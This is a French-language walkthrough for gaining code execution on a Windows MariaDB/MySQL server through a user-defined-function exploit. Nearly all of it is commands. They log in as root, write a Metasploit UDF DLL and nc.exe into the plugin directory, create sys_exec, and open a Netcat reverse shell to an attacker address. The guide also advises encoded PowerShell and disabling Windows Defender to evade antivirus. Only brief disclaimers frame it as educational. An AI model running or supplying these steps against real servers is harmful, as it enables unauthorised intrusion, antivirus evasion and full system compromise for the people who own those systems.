
Exécution de code authentifiée sur base de données
Ce guide fournit des instructions détaillées pour exploiter une vulnérabilité de fonction définie par l'utilisateur (UDF) dans MariaDB sur un serveur distant. Ces étapes incluent le téléchargement et l'exécution de code malveillant sur un système de base de données vulnérable.
Avertissement : Ce document est uniquement à des fins éducatives. Toute utilisation non autorisée de ces techniques est illégale et contraire à l'éthique.
Utilisez la commande suivante pour vous connecter au serveur MySQL :
mysql -h 192.168.214.129 -u root -pPassw0rd!
Pour déterminer la version de MySQL en cours d'exécution, exécutez :
select @@version;
Pour voir l'utilisateur actuellement connecté :
select user();
Récupérez tous les détails liés à l'utilisateur root :
select * from mysql.user where user='root';
Déterminez les privilèges de l'utilisateur actuel :
show grants;
Déterminez si l'architecture du système est vulnérable aux UDF :
select @@version_compile_os, @@version_compile_machine;
Identifiez le répertoire des plugins où les fichiers UDF peuvent être téléchargés :
select @@plugin_dir;
Copiez la DLL 32 bits depuis le répertoire d'exploitation de Metasploit :
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
Encodez le fichier udf.dll en base64 :
cat udf.dll | base64 | tr -d '\n' > udf.base64
Copiez la valeur base64 du fichier udf.base64 et transférez-la dans le serveur MySQL :
Ouvrez udf.base64 dans un éditeur de texte :
leafpad udf.base64
Dans MariaDB, exécutez :
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
Si nécessaire, utilisez plutôt le chemin suivant :
C:\Program Files\MariaDB 11.1\lib\plugin\
Exécutez la commande suivante dans MariaDB pour créer une nouvelle fonction :
create function sys_exec returns int soname 'udf.dll';
Remarque : Vous pouvez également utiliser
sys_eval,sys_get,do_systemousys_bineval. Assurez-vous d'utiliserintet noninto.
Vérifiez si la fonction UDF a été installée avec succès :
select * from mysql.func;
Copiez l'exécutable Netcat dans votre répertoire local et encodez-le en base64 :
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
Ouvrez nc.base64 dans un éditeur de texte :
leafpad nc.base64
Ensuite, dans MySQL :
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
Alternativement, vous pouvez le télécharger directement avec :
mysql -u root -p -h 192.168.214.129 < nc.base64
Activez un écouteur Netcat sur le port 443 :
sudo nc -nlvp 443
Exécutez Netcat sur le serveur distant pour un reverse shell :
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
Remarque : Cette étape peut être bloquée par Windows Defender ou d'autres antivirus. Envisagez d'utiliser des commandes PowerShell encodées (
powershellbase64) et assurez-vous que Defender est désactivé.
Exécutez une commande PowerShell en utilisant l'encodage base64 :
select sys_exec('powershellbase64');
REMARQUE : Dans de nombreux cas, vous pouvez obtenir les privilèges NT AUTHORITY SYSTEM.
Supprimer une fonction : Pour supprimer toute fonction UDF créée :
drop function sys_get;
Vérifier local_infile : Vérifiez si l'écriture locale est activée :
show variables like 'local_infile';
Trouver les utilisateurs avec le privilège INSERT : Identifiez les utilisateurs disposant du privilège INSERT :
use mysql;
select user from user where insert_priv='Y' and Host='%';
Avertissement : Ce document est destiné uniquement à des fins éducatives et de recherche en sécurité. Une mauvaise utilisation de ces informations peut entraîner des poursuites pénales et de lourdes sanctions légales. Obtenez toujours l'autorisation des autorités compétentes avant de tester des vulnérabilités sur un réseau ou un système.